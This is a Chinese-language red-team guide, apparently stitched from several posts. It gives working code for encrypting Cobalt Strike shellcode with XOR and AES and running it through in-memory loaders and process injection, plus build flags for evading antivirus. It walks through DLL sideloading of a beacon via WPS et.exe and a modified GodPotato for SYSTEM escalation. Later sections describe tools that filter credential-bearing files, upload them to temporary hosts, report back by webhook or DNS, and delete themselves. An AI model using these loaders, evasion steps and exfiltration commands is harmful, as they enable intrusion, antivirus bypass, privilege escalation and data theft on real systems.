从 EXE/Beacon 提取或 Cobalt Strike 直接生成 shellcode，经 XOR/AES 加密后，可通过独立加载器或白加黑 DLL 在目标环境解密执行。本文按「生成 → 加密 → 加载 → 交付」梳理完整链路，并给出 CS 白加黑与 GodPotato 两个实战案例。

整体流程

白加黑 DLL 劫持原理详见已发布文章：Windows 白加黑技术剖析。

一、生成 Shellcode

1.1 从 EXE 提取（donut / go-donut）

go-donut（仅输出 bin 格式）：Binject/go-donut

./go-donut -i windows_amd64.exe   # 注意必须有后缀，否则生成的 bin 不可用

donut（推荐）：TheWover/donut

# -f 3：C 类型 shellcode；-z 2：压缩
donut.exe -i windows_i386.exe -f 3 -z 2

1.2 从 Cobalt Strike 直接生成

1. CS → Attacks → Packages → Payload Generator（输出 C 格式 shellcode；Windows Executable (S) 生成的是可执行文件，不是本文所用的字节数组）
2. 输出格式选 C，得到形如 unsigned char buf[] = "\x90\x90..."; 的数组
3. 若走本文的 Python 加密脚本：需得到原始二进制 .bin（不要只去掉 \x 留下十六进制文本；可用脚本把 \xHH 转为字节，或直接导出/转换 bin）
4. 进入第二章加密，再交由白加黑 DLL 或独立加载器执行

二、加密方式

2.1 XOR 异或加密解密

Python 加密

import sys

def xor_encrypt(shellcode, key):
    encrypted_shellcode = bytearray()
    key_len = len(key)
    for i in range(len(shellcode)):
        encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
    return encrypted_shellcode

def main():
    if len(sys.argv) != 3:
        print("Usage: python3 ShellcodeEncrypt.py <payload.bin> <payload.dat>")
        return

    with open(sys.argv[1], "rb") as file:
        shellcode = bytearray(file.read())

    key = bytearray(b'henry123456aa+-==@asd')
    encrypted_shellcode = xor_encrypt(shellcode, key)

    with open(sys.argv[2], "wb") as output_file:
        output_file.write(encrypted_shellcode)

if __name__ == '__main__':
    main()

C++ 解密

#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>

void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
    FILE* file;
    if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
        return nullptr;

    fseek(file, 0, SEEK_END);
    BufSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    void* RetVoid = malloc(BufSize);
    if (!RetVoid) {
        fclose(file);
        return nullptr;
    }

    fread(RetVoid, 1, BufSize, file);
    fclose(file);
    return RetVoid;
}

// 从与可执行文件同名的 .dat 文件中读取加密 shellcode
WCHAR szFilePath[MAX_PATH + 1] = { 0 };
GetModuleFileName(NULL, szFilePath, MAX_PATH);
lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");

DWORD size;
void* buffer = FileToMem(szFilePath, size);

if (buffer) {
    char* shellcode = new char[size];
    memcpy(shellcode, buffer, size);
    free(buffer);

    const char key[] = "henry123456aa+-==@asd";
    int keylength = strlen(key);

    for (DWORD i = 0; i < size; i++) {
        shellcode[i] ^= key[i % keylength];
    }
    // shellcode 已解密，长度为 size
}

2.2 AES 加密解密

依赖：tiny-AES-c（将 aes.c、aes.h、aes.hpp 加入项目）

Python 加密

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import sys

def main():
    key = b'0123456789abcdef'
    iv = b'0123456789abcdef'

    if len(sys.argv) != 3:
        print("Usage: python3 shellcodeAESenc.py <payload.bin> <payload.dat>")
        return

    with open(sys.argv[1], "rb") as file:
        shellcode = bytearray(file.read())

    print("Original Shellcode Size:", len(shellcode))

    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_data = pad(shellcode, AES.block_size)
    encrypt = cipher.encrypt(padded_data)

    with open(sys.argv[2], "wb") as output_file:
        output_file.write(encrypt)

if __name__ == '__main__':
    main()

C/C++ 解密

#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include "aes.hpp"

void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
    FILE* file;
    if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
        return nullptr;

    fseek(file, 0, SEEK_END);
    BufSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    void* RetVoid = malloc(BufSize);
    if (!RetVoid) {
        fclose(file);
        return nullptr;
    }

    fread(RetVoid, 1, BufSize, file);
    fclose(file);
    return RetVoid;
}

int main() {
    WCHAR szFilePath[MAX_PATH + 1] = { 0 };
    GetModuleFileName(NULL, szFilePath, MAX_PATH);
    lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");

    DWORD size;
    void* buffer = FileToMem(szFilePath, size);

    if (buffer) {
        char* shellcode = new char[size];
        memcpy(shellcode, buffer, size);
        free(buffer);

        // 长度须为 16 字节；勿用带尾随 '\0' 的字符串字面量当 key/iv
        unsigned char key[16] = {
            '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
        };
        unsigned char iv[16] = {
            '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
        };
        // PKCS7 填充后密文更长；originSize 必须填加密脚本打印的 Original Shellcode Size
        DWORD originSize = 36999;  // 示例值，按实战输出修改
        unsigned char* ushellcode = reinterpret_cast<unsigned char*>(shellcode);

        struct AES_ctx ctx;
        AES_init_ctx_iv(&ctx, key, iv);
        // size 须为 16 的倍数（与 Python pad 后长度一致）
        AES_CBC_decrypt_buffer(&ctx, ushellcode, size);

        DWORD dwOldPro = 0;
        VirtualProtect(ushellcode, originSize, PAGE_EXECUTE_READWRITE, &dwOldPro);
        EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)ushellcode, 0, 0);

        // shellcode 若常驻内存（如 beacon），此处不可 delete[]
    }
}

2.3 RSA 加密解密

参考：RSA 加密 shellcode 实践

三、加载方式

3.1 VirtualProtect 动态更改内存属性并执行

char* shellcode = ...;
DWORD size = ...;

DWORD dwOldPro = 0;
VirtualProtect(shellcode, size, PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)shellcode, 0, 0);
// 常驻 shellcode：不要在这里释放 shellcode

3.2 傀儡进程注入（挂起进程改入口）

此处是：挂起创建进程 → 远程分配写入 shellcode → SetThreadContext 改入口 → 恢复执行。
不是经典 Process Hollowing（卸载原映像再替换 PE）。

char* shellcode = ...;
DWORD size = ...;

PROCESS_INFORMATION ProcessInformation = {};
STARTUPINFOA StartupInfo = {};
void* remote = nullptr;
CONTEXT Context = {};
DWORD DwWrite = 0;

StartupInfo.cb = sizeof(StartupInfo);

// 0x4 = CREATE_SUSPENDED；命令行需可写缓冲区（勿直接传字符串字面量）
char cmdLine[] = "C:\\Windows\\explorer.exe";
BOOL result = CreateProcessA(
    nullptr, cmdLine, nullptr, nullptr, FALSE, CREATE_SUSPENDED,
    nullptr, nullptr, &StartupInfo, &ProcessInformation
);

if (result) {
    Context.ContextFlags = CONTEXT_FULL;
    GetThreadContext(ProcessInformation.hThread, &Context);
    remote = VirtualAllocEx(
        ProcessInformation.hProcess, nullptr, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(ProcessInformation.hProcess, remote, shellcode, size, &DwWrite);
    Context.Eip = (DWORD)(uintptr_t)remote;  // x86 only
    SetThreadContext(ProcessInformation.hThread, &Context);
    ResumeThread(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
}

delete[] shellcode;

3.3 VirtualAlloc 分配内存并执行

char* shellcode = ...;
DWORD size = ...;

LPVOID allocatedMemory = VirtualAlloc(
    NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if (allocatedMemory == NULL) {
    delete[] shellcode;
    return;
}

memcpy(allocatedMemory, shellcode, size);
void(*shellcodeFunction)() = (void(*)())allocatedMemory;
shellcodeFunction();
// 常驻 shellcode：不要 VirtualFree(allocatedMemory, ...)

四、现成加载器

Go 编译（推荐，减小特征）：

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-w -s -H windowsgui" -o out.exe

默认编译（容易被杀）：

GOOS=windows GOARCH=amd64 go build

五、实战案例

5.1 CS Shellcode + 加密 + 白加黑 DLL 解密

典型链路：CS 生成 shellcode → XOR 加密存盘 → 恶意 DLL 读取解密执行 → 白 EXE 触发加载。

DLL 劫持与搜索顺序原理见 Windows 白加黑技术剖析。

Step 1：发现可利用白文件

以 WPS 为例：et.exe 等程序依赖同目录下某个 DLL，构造同名恶意 DLL 即可劫持加载。

Step 2：改造 DLL

1. 用 AheadLib 解析原始 DLL，导出函数转发桩

2. VS 新建 DLL 项目，导入生成的代码

3. 在导出函数或延迟执行路径中写入：读加密文件 → XOR 解密 → 执行 shellcode（见第二、三章）

4. 编译设置：
   • asm 文件属性 → 自定义
   • C/C++ → 代码生成 → 运行库 → 多线程 (/MT)
   • C/C++ → 预编译头 → 不使用预编译头
   • 链接器 → 调试 → 生成调试信息 → 否
   • 平台选与白文件一致的 Win32 / x64

Step 3：生成并加密 shellcode

1. CS 用 Payload Generator 导出 C 格式，再转为原始 .bin（供加密脚本按二进制读取）

2. 用 XOR 脚本加密，保存为与 DLL 读取逻辑约定一致的文件名

python3 ShellcodeEncrypt.py payload.bin et.dat

Step 4：上线

将 白 EXE + 恶意 DLL + 加密 shellcode 文件 放同一目录，执行白 EXE 即可上线。

func init() {
    // 建议：go func() { 读 .dat → 解密 → 执行 }()
    // 不要在 init 里同步跑耗时/加载 CLR 的逻辑
}

5.2 GodPotato + 白加黑

项目：GodPotato

链路： 在已具备提权条件的会话里，用白加黑拉起 GodPotato shellcode → GodPotato 提权到 SYSTEM → 再拉起 beacon。

Step 1：修改 GodPotato，写死 beacon 命令

potatoArgs = new newgodArgs
{
    // 指向目标上的 beacon，而非白文件 et.exe
    cmd = "cmd /c c:\\users\\public\\downloads\\beacon.exe"
};

编译为 newgod.exe。

Step 2：donut 提取 shellcode

donut.exe -i newgod.exe

输出示例：

[ Shellcode     : "loader.bin"
[ File type     : .NET EXE
[ Target CPU    : x86+amd64

Step 3：加密 shellcode

python3 ShellcodeEncrypt.py loader.bin loader.dat

将 loader.dat 改名为加载器约定名称（如与白文件对应的 et.dat）。

Step 4：部署上线

将以下文件放到同一目录（路径需与 Step 1 中写死的 beacon 路径一致），例如 C:\Users\Public\Downloads：

执行 et.exe 后：DLL 在合适时机（非 DllMain 重活）解密执行 GodPotato shellcode →（在具备 SeImpersonate 时）提权 → 以 SYSTEM 执行 beacon.exe。

拿到一台机器（或一段短暂的 shell）时，目标很少是「把磁盘原样镜像走」。更常见的是按条件筛一批文件、打成可控体积的包，再尽快带回操作侧。

1. 使用场景

更具体的需求通常包括：

• 类型筛选：只要特定类型——合同/报表 PDF、Office、配置、压缩包、近期改过的文档
• 条件叠加：文件名带 密码/密码本、内容命中凭证写法（可用 -keyword secrets）、mtime 在某天之后
• 体积与时间受限：不能无脑打包几十 GB，也不能在目标上挂太久
• 结果回传：包打完还不够——文件在目标机上，如何把下载链接带回操作侧；父进程/C2 断了也要避免无法取回结果
• 痕迹控制：传完尽量不把归档和工具本身留在盘上

一个很具体的打法：刚拿到初始权限，先做一轮短时信息收集——用后缀/文件名/关键字把敏感配置、文档、表格、源码筛进包，外带回本地再审计。包里常见内网拓扑/地图、密码本、凭证表、运维手册之类，够支撑后续横向，而不是在目标机上慢慢翻盘。

红队外带、应急里抽关键证据、运维「只捞某目录某类文件」——本质都是选择性外带，不是备份，也不是全盘取证。

Fdoc 就是按这个场景做的：在目标上筛、打包、（可选）传、（可选）把链接回传到接收端、（可选）清理。

2. 解决什么痛点

一句话：

在「只能短时间待在目标上、又只要部分文件、还得把结果弄回家」的约束下，Fdoc 把筛选、打包、外带和回传收成一条可脚本化的命令链。

3. 大致逻辑

一条主链路：

解析参数 → 从 -d Walk → 按规则过滤 → 流式写入 .tgz →（可选）加密并上传临时托管 →（可选）webhook/DNS 回传 URL →（可选）scrub

对每个文件，过滤是固定顺序的「且」条件链（未配置的项视为通过）：

跳过 -x 目录 → 普通文件或可跟随的文件 symlink → -e 后缀 → -f 文件名 → -t 日期 → -k/-keyword 内容 → -max-file → 是否触达 -max 总大小。

同一参数里逗号是「或」。例如：-e pdf -f invoice -t 2024-01-01 表示三者同时满足；-keyword password:,token: 表示内容命中其一即可。也可用预设：-keyword secrets（别名 creds）展开为赋值/JSON 凭证子串。条件细则与预设表见 4.1 多条件筛选文件。

体积与退出行为：

• 默认软上限：总预算按逻辑大小记账，默认 1GB；单文件 -max-file 默认关闭（0）
• 未显式传 -max：触达总预算时直接失败（exit 1），并提示显式加上（或 -max 0 关闭），避免静默截断
• 显式传了 -max：截断并保留已打部分（退出码 2）；若开了上传，残包仍可能被传上去——方便「先带走能带走的」
• 超大单文件：需要跳过时再显式加 -max-file

不加 -upload 时只本地打包，不联网。加了之后才走探测渠道、上传和回传。

4. 特色功能

4.1 多条件筛选文件

可按后缀、文件名、内容、日期、跳过目录等收窄目标集；条件之间为「且」、同参逗号为「或」，规则见 3. 大致逻辑。

-e 预设：

-keyword 预设：

示例：

Fdoc -d /data -e pdf -f invoice -keyword 'token:' -t 2025-01-01 -o hits.tgz
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz

关于链接：Unix/macOS 文件符号链接会跟随（内容取目标，入包名用链接路径）；目录 symlink 不进入。Windows .lnk 不解析目标，仅当 -e 命中时打包快捷方式文件本身。

4.2 边扫边打，带体积预算

不先罗列再压缩，内存占用可控。-size 可先估再打。长任务有 PACK_PROGRESS / UPLOAD_PROGRESS 心跳，适合无头环境。

4.3 内嵌上传：按体积自动选临时渠道

-upload 后按归档大小筛渠道、并行探测、按延迟 failover；也可用 -b 钉死某一渠道（演示里常见如 -b lit）。完整渠道名与体积阈值以 Fdoc backends 输出为准。无回传时 URL 打在 stdout，脚本好接；状态行在 stderr（UPLOAD_OK 等）。

4.4 回传与会话解耦

配 -webhook / -dns 时，下载链接推到接收端：HTTPS webhook 优先，失败再用 DNSLog 分片。父会话挂了，仍可能从回传里捞 URL。stdout/stderr 分工固定，避免脚本和人工抢输出。

4.5 上传前加密（可选）

-encrypt -key：AES-256-CBC，线格式带 UP01 魔数；远端统一 .bin，避免当成普通 gzip 解。内置 Fdoc decrypt，不必再带第二套工具。密钥是口令 pad 到 32 字节（不是 PBKDF2），按共享口令模型用即可。

4.6 可选收尾 scrub

上传成功（若配了回传则还要回传成功）后删归档和自身。Windows 上自删是 best-effort（延迟删 / 重启删），失败会 SCRUB_PARTIAL 并以非 0 退出。

4.7 跨平台静态二进制

发行物为无依赖静态单文件，覆盖 Linux / Windows / macOS（含 amd64 与 arm64）。同一套参数在各平台可用；Windows 上 scrub、SkipDirs、.lnk 行为见上文与发行说明。

5. 最小示例

# 不清楚体积时先估大小
Fdoc -d /data -e documents -size

# 打包
Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz

# 配置/JSON 里捞凭证写法
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz

# 上传，链接打到 stdout
Fdoc -d /data -o /tmp/docs.tgz -upload -q

# 加密上传 + webhook 回传 + 清理
Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz \
  -upload -encrypt -key "$KEY" \
  -webhook https://your.receiver/hook \
  -scrub -q

DNS 分片格式、加密磁盘占用、Windows SkipDirs 等细节见 Fdoc 仓库 README。

6. 终端演示

下面四段演示覆盖主路径：估大小 → 多条件筛选打包 → 指定渠道上传 → 上传并 webhook 回传。

C2 适合命令控制和轻量交互，不适合持续传输大文件。授权测试中可将数据流量拆分到临时云上传服务，C2 仅负责下发命令和回传下载链接。

1. 为什么拆分数据通道

直接通过 C2 下载大文件有四类问题：

• 带宽占用：批量传输会阻塞命令交互和心跳。
• 可靠性：sleep、jitter、超时和较弱的断点续传能力会增加重传成本。
• 链路开销：编码、分片、pivot、SOCKS 和多级跳板会增加流量、延迟和失败点。
• 基础设施暴露：持续的大流量会集中指向 C2 服务端，并影响共用 Team Server 的其他会话。

拆分后的流程如下：

1. 在目标上整理好文件或目录
2. 由目标主机上传到当前网络可访问的临时存储服务
3. C2 回传下载链接
4. 测试人员从独立环境下载文件

控制流量继续走 C2，大文件流量走「目标 → 上传服务」。

2. Uploader 的处理流程

Uploader 基于 Mikubill/transfer 的多后端思路实现，主要能力如下：

• backends：列出后端、大小限制、状态和 URL。
• probe：检查当前网络中的可达性和延迟。
• 自动模式：按文件大小过滤后端，探测后按延迟尝试，失败后切换后端。
• 大小预检：上传前检查文件或目录估算大小是否超过后端限制。
• 目录处理：默认使用 Deflate 生成临时 ZIP，上传结束后删除；-r 改为逐文件上传。
• 加密：-e -k 使用 AES-256-CBC，文件格式为 UP01 文件头、随机 IV 和密文。
• 脚本输出：-q 仅向标准输出写入成功链接，错误写入标准错误。

后端状态会随服务和网络变化，执行时应以 uploader probe 的结果为准。

3. 命令示例

uploader -q ./evidence

不指定 -b 时执行：大小过滤 → 探测 → 按延迟排序 → 失败切换。目录会先打包；成功时输出一行下载链接。

# 固定使用 lit
uploader -q -b lit ./dump.zip

# 优先使用 lit，失败时允许切换
uploader -q -b lit -auto ./dump.zip

# 逐文件上传目录
uploader -q -r ./dir

# 加密后上传
uploader -q -e -k 'your-key' ./secret.bin

查看和探测后端：

uploader backends
uploader probe
uploader probe temp lit gof -timeout 20

退出码：0 表示成功，1 表示上传或配置失败，2 表示参数错误。-keep 会等待键盘输入，不适用于无头执行。

4. 使用限制与检查项

1. 先确认目标出口、代理、白名单和 TLS 检查策略，再用小文件验证链路。
2. 公共上传服务可能记录来源、扫描内容并限制文件类型、容量和保存时间；使用前应确认项目合规要求。
3. 目录模式会在磁盘生成临时 ZIP；如不允许落地，使用 -r 或改用其他传输方案。
4. AES-256-CBC 只解决传输内容的保密性，不应替代文件完整性校验和密钥管理。
5. 文件名也可能泄露信息，应使用不包含业务含义的名称。
6. 下载完成后清理临时文件、工具和命令历史，并在链接失效前取回数据。

白加黑（Binary Hijacking / DLL Hijacking）是红队与免杀场景中常见的手法：借助合法签名的白程序加载攻击者控制的恶意 DLL，在绕过静态检测的同时实现代码执行。本文从 DLL 基础知识出发，梳理隐式/显式加载、搜索顺序与实战验证流程。

一、DLL 基础知识

DLL（Dynamic Link Library）文件为动态链接库文件，又称「应用程序拓展」，是软件文件类型。在 Windows 中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即 DLL 文件。

简单来说，DLL 是把一部分通用功能封装成独立模块，EXE 在运行时加载并调用这些功能，而不是把所有代码都编译进自身。

二、什么是「白加黑」

白加黑（Binary Hijacking / DLL Hijacking）本质是：

• 白：合法、可信、已签名的可执行文件（EXE）
• 黑：攻击者控制的恶意 DLL
• 利用点：Windows 的 DLL 搜索与加载顺序缺陷

当白程序启动时，由于 DLL 搜索顺序问题，优先加载了攻击者放置的恶意 DLL，从而实现代码执行。

三、Windows DLL 加载的基本流程

1. 隐式动态加载（最常见）

EXE 在编译 / 链接阶段就声明对 DLL 的依赖，系统在进程启动阶段自动完成 DLL 加载与函数绑定。

• 在 EXE 的 Import Table（IAT） 中声明依赖 DLL
• 进程启动时，系统自动加载所需 DLL

示例：

test.h

#pragma once

#ifdef __cplusplus
extern "C" {
#endif

__declspec(dllimport) void box();

#ifdef __cplusplus
}
#endif

test.cpp

#include <windows.h>
#include "test.h"

extern "C" __declspec(dllexport)
void box() {
    MessageBoxA(NULL, "test", "test.dll", MB_OK);
}

main.cpp

#include "test.h"
#pragma comment(lib, "testdll.lib")

int main() {
    box();
    return 0;
}

1. #include "test.h" 告诉编译器：box() 这个函数存在，它的函数签名是什么。
2. #pragma comment(lib, "testdll.lib") 告诉链接器这个 EXE 需要用到一个 DLL 中导出的函数 box，导入信息在 testdll.lib 里。
3. 链接器会在 EXE 中生成 Import Table：

Import Directory
  └── testdll.dll
        └── box

可以使用 dumpbin 查看生成的 exe import 导入情况：

这是 exe 执行情况，其调用了 dll 里的 box 函数：

2. 显式动态加载

EXE 在编译 / 链接阶段不声明任何 DLL 依赖，而是在运行时通过 API 主动加载 DLL，并手动获取函数地址。

LoadLibrary("test.dll");
LoadLibraryEx("test.dll", NULL, 0);

// main.cpp
#include <windows.h>

typedef void (*BOX_FUNC)();

int main() {
    HMODULE h = LoadLibraryA("testdll.dll");
    if (!h) {
        MessageBoxA(NULL, "LoadLibrary failed", "error", MB_OK);
        return 0;
    }

    BOX_FUNC box = (BOX_FUNC)GetProcAddress(h, "box");
    if (box) {
        box();
    }

    FreeLibrary(h);
    return 0;
}

LoadLibraryA("testdll.dll") 是显式加载的核心。系统在这里会：

1. 搜索 testdll.dll
2. 映射 DLL 到当前进程地址空间
3. 调用 DllMain(DLL_PROCESS_ATTACH)
4. 返回 DLL 的模块基址（HMODULE）

⚠️ 这一步不是进程启动时做的，而是代码执行到这里才发生。

GetProcAddress 在 testdll.dll 的 Export Table 中查找 "box"，返回函数真实地址并赋值给函数指针，此时才完成「函数绑定」。随后调用 box() 执行目标函数。

使用显式动态加载生成的 exe 文件，用 dumpbin 查看会发现 imports 内未找到 testdll.dll：

程序执行截图：

3. 区别

一般来说：

• 业务正常、依赖稳定、必须存在的功能 → 用隐式
• 可选功能、插件化、兼容多系统版本、规避依赖 → 用显式

四、Windows DLL 搜索顺序

在未指定完整路径的情况下，Windows 按以下顺序查找 DLL（默认情况）：

1. 程序自身所在目录
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. 当前工作目录（CWD）
6. PATH 环境变量中的目录

对于 user32.dll 这种系统关键 DLL，属于 Known DLL，不会走普通 DLL 搜索顺序，系统会强制从 System32 加载。

Known DLLs 注册表项路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。

常见的 Known DLL 包括：

ntdll.dll
kernel32.dll
kernelbase.dll
user32.dll
gdi32.dll
advapi32.dll
...

五、「白加黑」攻击的形成条件

一个白程序可被「白加黑」，通常满足：

1. 白程序存在 DLL 依赖
2. DLL 加载路径不安全
3. 攻击者可写入高优先级目录

六、实战案例

在实际场景中，手工挖掘白文件虽然可行，但效率低、覆盖面有限，且高度依赖个人经验。更推荐使用自动化工具进行系统性发现与验证。

例如 ZeroEye，其通过对可执行文件的 DLL 加载行为、Import Table、运行时文件访问及异常加载路径 进行自动化分析，能够快速定位存在 DLL 劫持、隐式加载等风险的白文件候选目标。相较人工逐个逆向或动态调试，自动化工具在规模化扫描、一致性判断和复现稳定性上具有明显优势，更适合作为白文件挖掘的首选手段，而人工分析则用于后续的精准确认与利用评估。

1. 搭建环境

下载一个安装了很多程序的虚拟机，这里使用的是 Pentest-Windows11 v3.2。

2. 扫描白文件

使用 ZeroEye 工具扫描 D 盘：

./zeroeye.exe -p d:\

绿色的就是潜在的白文件，对 bash 这个程序分析一下：

dumpbin 查看 bash.exe 文件调用了 msys-2.0.dll：

也可以通过 Process Monitor 工具分析依赖：

3. DLL 制作

1. 使用 VS 创建 DLL 项目

2. 使用 CFF 工具导出 msys dll 的所有函数列表

CFF Explorer 可用于对 EXE 文件进行静态分析，通过解析 PE 结构中的 Import Table，快速识别程序在加载阶段所依赖的 DLL 及对应导入函数。借助该工具，可以直观查看每个依赖 DLL 的名称、导入方式（按名称或序号）以及具体函数列表，从而判断程序的隐式 DLL 加载行为，为分析 DLL 劫持风险、白文件利用点及依赖关系提供基础依据。

源文件内新建模块 .def 文件：

将前面导出的函数都指向一个自定义函数：

dllmain.cpp 内容如下：

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windef.h>
#include <Windows.h>
#include <stdio.h>

extern __declspec(dllexport) int all_exec() {
    MessageBoxA(NULL, "dll inject text", NULL, NULL);
    return 1;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

该代码实现了一个简单的 Windows DLL。DLL 对外导出函数 all_exec，在被调用时通过 MessageBoxA 弹出提示窗口，用于验证 DLL 是否被成功加载与执行。

前面通过 .def 文件将多个导出符号统一指向自定义函数 all_exec，当白文件在加载并调用任一导出接口时，最终都会进入 all_exec 执行逻辑。

4. 生成 DLL

5. 运行测试

将 bash.exe 白文件和生成的恶意 dll 放入任意同一目录下，双击执行 bash.exe，如下劫持成功，执行了我们的 MessageBoxA 函数。

6. 显式动态加载 DLL 制作

ZeroEye 的原理是通过对可执行文件的 DLL 加载行为、Import Table、运行时文件访问及异常加载路径 进行自动化分析，定位存在 DLL 劫持、隐式加载的白文件候选目标。

动态加载 DLL 的白文件需要人工发现。同样以 bash.exe 为例，在对 bash.exe 进行动态分析时，通过 Process Monitor 观察到其在运行过程中尝试动态加载某个 DLL，但对应文件访问结果为 NAME NOT FOUND。同时，未在其 IAT 发现该 DLL。这表明该白文件在执行路径中存在显式的动态 DLL 加载逻辑，只是当前系统环境中未找到目标 DLL 文件。一旦在其 DLL 搜索路径中放置符合名称与导出要求的 DLL，即可能被成功加载并执行，从而构成潜在的白加黑利用条件。

新建 DLL 项目，在 DLL_PROCESS_ATTACH 下写一个弹计算器的命令，然后生成 DLL 名为 CRYPTBASE.DLL（DLL_PROCESS_ATTACH 表示 DLL 被某个进程成功加载并映射到其地址空间的时刻，无需宿主程序显式调用任何导出函数，只要 DLL 被加载，相关代码就会自动执行）。

将白文件和 DLL 依赖放入同一目录下执行：

需要注意：目录下必须放 msys-2.0.dll，原始 dll 就行，因为它是隐式动态加载，没有它程序无法运行：

七、实战手法

上面已经验证了 DLL 劫持的可行性。实际在实战过程中，可以将 shellcode 通过 dll 函数进行加载，从而实现免杀效果——白文件有签名，执行不会被拦截，静态免杀一般没问题；一些内存特征明显的载荷，可能会被卡巴、Avast 等内存查杀。